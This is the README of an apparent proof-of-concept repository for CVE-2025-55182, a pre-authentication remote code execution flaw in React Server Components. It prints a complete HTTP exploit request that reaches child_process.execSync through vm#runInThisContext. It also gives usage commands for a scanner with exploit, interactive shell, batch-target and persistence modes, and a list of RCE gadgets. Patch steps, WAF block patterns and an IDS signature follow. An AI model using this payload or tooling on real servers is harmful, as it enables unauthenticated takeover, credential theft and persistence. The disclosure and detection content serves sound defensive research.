
Unified Security Research Tool
Security Research by schema.cx
"Control is an illusion. It's the systems we build that control us—unless we understand them first."
THIS TOOL IS FOR AUTHORIZED SECURITY TESTING ONLY
STOP. READ THIS BEFORE PROCEEDING.
This repository contains proof-of-concept code for a critical security vulnerability. By accessing, downloading, or using any materials in this repository, you acknowledge and agree to the following:
Written Authorization Required: You MUST have explicit, written permission from the system owner before conducting any security testing. Verbal agreements are insufficient.
Scope Limitations: Testing must be confined to systems explicitly listed in your authorization. "Scope creep" is not permitted.
Applicable Laws: Unauthorized access to computer systems violates:
THE AUTHORS AND CONTRIBUTORS OF THIS REPOSITORY:
"The question isn't whether we can exploit the vulnerability. It's whether we should, and for what purpose."
CVE-2025-55182 is a critical pre-authentication remote code execution (RCE) vulnerability affecting React Server Components in React 19.x and Next.js 15.x-16.x applications.
This vulnerability allows any unauthenticated attacker with network access to a vulnerable application to execute arbitrary commands on the server. The attack requires no credentials, no user interaction, and can be fully automated. Successful exploitation leads to:
"People trust systems because they don't understand them. That trust is a vulnerability."
The vulnerability exists in React's Flight protocol implementation within the requireModule function. This function uses bracket notation to access module exports based on user-controlled input, without validating that the requested property is an own property of the module.
Vulnerable Code Location:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Function: requireModule (approximately line 2546-2558 in v19.0.0)
Vulnerable Pattern:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... async handling ...
return moduleExports[metadata[2]]; // ← VULNERABLE: No hasOwnProperty check
}
The attack leverages JavaScript's prototype chain traversal:
$ACTION_0:0 field contains JSON with attacker-controlled id (module#export format) and bound (arguments) propertiesconstructor or accessing prototype properties, attackers can reference built-in Node.js modulesvm.runInThisContext, child_process.execSync, or fs.readFileSync execute with attacker-supplied argumentsHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Parses "module#export" format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototype chain access → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
"Every system has a door. The question is whether you built the lock yourself—or inherited it from someone who never expected visitors."
| Product | Vulnerable Versions | Patched Versions |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (using vulnerable React) | Versions with patched React |
vm, child_process, or fs must be in the webpack bundleThis repository includes a comprehensive Python-based security scanner with multiple operation modes.
CVE-2025-55182-poc/
├── README.md # This file
├── scanner/
│ ├── __init__.py # Python package init
│ ├── scanner.py # Main unified scanner (6 modes)
│ ├── readme.md # Detailed scanner documentation
│ ├── requirements.txt # Python dependencies
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # Deep dive into vulnerability
│ └── VULNERABLE-PACKAGES.md # Affected package versions
Installation:
cd scanner
pip install -r requirements.txt
Vulnerability Scan:
# Check if target is vulnerable
python scanner.py scan https://target.com
Gadget Detection:
# Identify available RCE gadgets
python scanner.py exploit https://target.com --detect-gadgets
Command Execution (with authorization):
# Execute command on vulnerable target
python scanner.py exploit https://target.com -c "whoami"
Batch Testing:
# Test multiple targets from file
python scanner.py batch -f targets.txt -o results.json
Automated Scanning with Verification:
# Comprehensive scan with exploit verification
python scanner.py auto -f targets.txt -o report.txt
Vulnerable Target:
[+] VULNERABLE to CVE-2025-55182!
Framework: Next.js
Version: 15.1.0
Confidence: HIGH
Available Gadgets:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
Patched Target:
[-] Not vulnerable or unable to determine
Framework detected: Next.js
Version: 15.2.0 (patched)
For complete documentation, see scanner/readme.md.
"A tool is only as dangerous as the intent behind it. In the right hands, a weapon becomes a shield."
/etc/passwd, SSH keys, cloud credentialsData Breach: Attacker reads .env files containing database credentials, exfiltrates customer data
Cryptominer Installation: Attacker writes mining script, adds cron job for persistence
Supply Chain Attack: Attacker modifies source code in production, serving malicious content to users
Lateral Movement: Compromised server used to attack internal databases, APIs, and services
Ransomware: Attacker encrypts application files, demands payment for decryption keys
Upgrade React Immediately
npm update react react-dom react-server-dom-webpack
Target versions: 19.0.1+, 19.1.2+, or 19.2.1+
Verify Patch Application
npm ls react
Ensure no vulnerable versions remain in your dependency tree
Block requests containing these patterns:
# Request body patterns to block
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
Exclude dangerous packages from webpack bundling:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
Log Patterns to Monitor:
$ACTION_REF_ or $ACTION_ID_ fields in request bodies/api/* endpoints with multipart form data containing JSONconstructor, prototype, or unexpected module accessIntrusion Detection Signatures:
alert http any any -> $HOME_NET any (
msg:"CVE-2025-55182 Exploit Attempt";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk, or similar tools"Patching isn't just about fixing what's broken. It's about closing the doors you didn't know were open."
This disclosure follows CERT/CC Vulnerability Disclosure Guidelines and ISO/IEC 29147:2018 standards for coordinated vulnerability disclosure.
This proof-of-concept was developed by the security research team at schema.cx.
Repository: https://github.com/ejpir/CVE-2025-55182-poc
We would like to thank:
This project is released for educational and authorized security research purposes only.
By using this software, you agree to:
"We don't hack to destroy. We hack to understand. And understanding is the first step to building something better."
schema.cx — Security Research for a Safer Digital World
| Metric | Rating |
|---|
| CVSS v3.1 Base Score | 10.0 CRITICAL |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Impact (C/I/A) | High / High / High |
| Gadget | Module | Description | Impact |
|---|
vm#runInThisContext | vm | Execute JS in current context | Direct RCE |
vm#runInNewContext | vm | Execute JS in sandbox (escapable) | Direct RCE |
child_process#execSync | child_process | Execute shell commands | Direct RCE |
child_process#spawnSync | child_process | Spawn processes | Direct RCE |
fs#readFileSync | fs | Read arbitrary files | Data Exfiltration |
fs#writeFileSync | fs | Write arbitrary files | Persistence/Backdoor |
module#_load | module | Load JS modules (2-step RCE) | Indirect RCE |
| Module | Likelihood in Bundle | Common Sources |
|---|
fs | Very High | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | Medium-High | execa, shelljs, puppeteer, sharp, pdf generators |
vm | Low-Medium | ejs, pug, template engines |
module | Very Low | tsx, ts-node (usually CLI-only) |
| Mode | Purpose |
|---|
scan | Vulnerability detection and fingerprinting |
exploit | Controlled exploitation with specific gadgets |
shell | Interactive command shell on vulnerable targets |
batch | Test multiple URLs with statistics |
auto | Automated multi-target scanning with verification |
persist | Persistence attack demonstrations (SSH keys, creds) |
| Date | Event |
|---|
| Discovery | Information pending |
| Vendor Notification | Information pending |
| Vendor Acknowledgment | Information pending |
| Patch Development | Information pending |
| Patch Release | React 19.0.1, 19.1.2, 19.2.1 |
| Public Disclosure | Information pending |
| CVE Assignment | CVE-2025-55182 |